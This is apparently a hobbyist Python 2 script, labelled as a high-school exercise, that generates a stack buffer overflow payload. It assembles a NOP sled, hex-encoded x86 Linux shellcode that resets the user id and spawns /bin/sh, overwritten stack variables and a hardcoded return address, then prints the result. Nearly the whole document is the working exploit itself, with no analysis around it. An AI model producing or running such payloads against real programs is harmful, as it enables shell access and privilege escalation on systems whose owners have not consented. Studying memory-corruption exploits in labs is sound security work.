Stack Overflow (for fun during highschool)

shell_code.py

#!/usr/bin/env python
# -*- coding:utf-8 -*-

MAX_SIZE = 512
NOOP = '\x90'

# Spawn a shell
SHELL_CODE = (
    '\x6a\x18\x58\xcd\x80\x50\x50\x5b\x59\x6a\x46\x58\xcd\x80\x50\x68\x2f\x2f'
    '\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x99\x31\xc9\xb0\x0b\xcd\x80')


def get_shell_code(return_addr, stack_vars, noop_phase=0):
    '''
    :return_addr:  the return address we want to point on (typically on the noop slope)
    :stack_vars:   vars that are on the stack to override
    :noop_phase:   additional phase for the noop slope
    '''
    noop_slope = NOOP * (MAX_SIZE - len(SHELL_CODE) - noop_phase)
    return noop_slope + SHELL_CODE + stack_vars + return_addr * 4


print get_shell_code(
    return_addr='\x90\xfa\xff\xbf',
    stack_vars='\x01')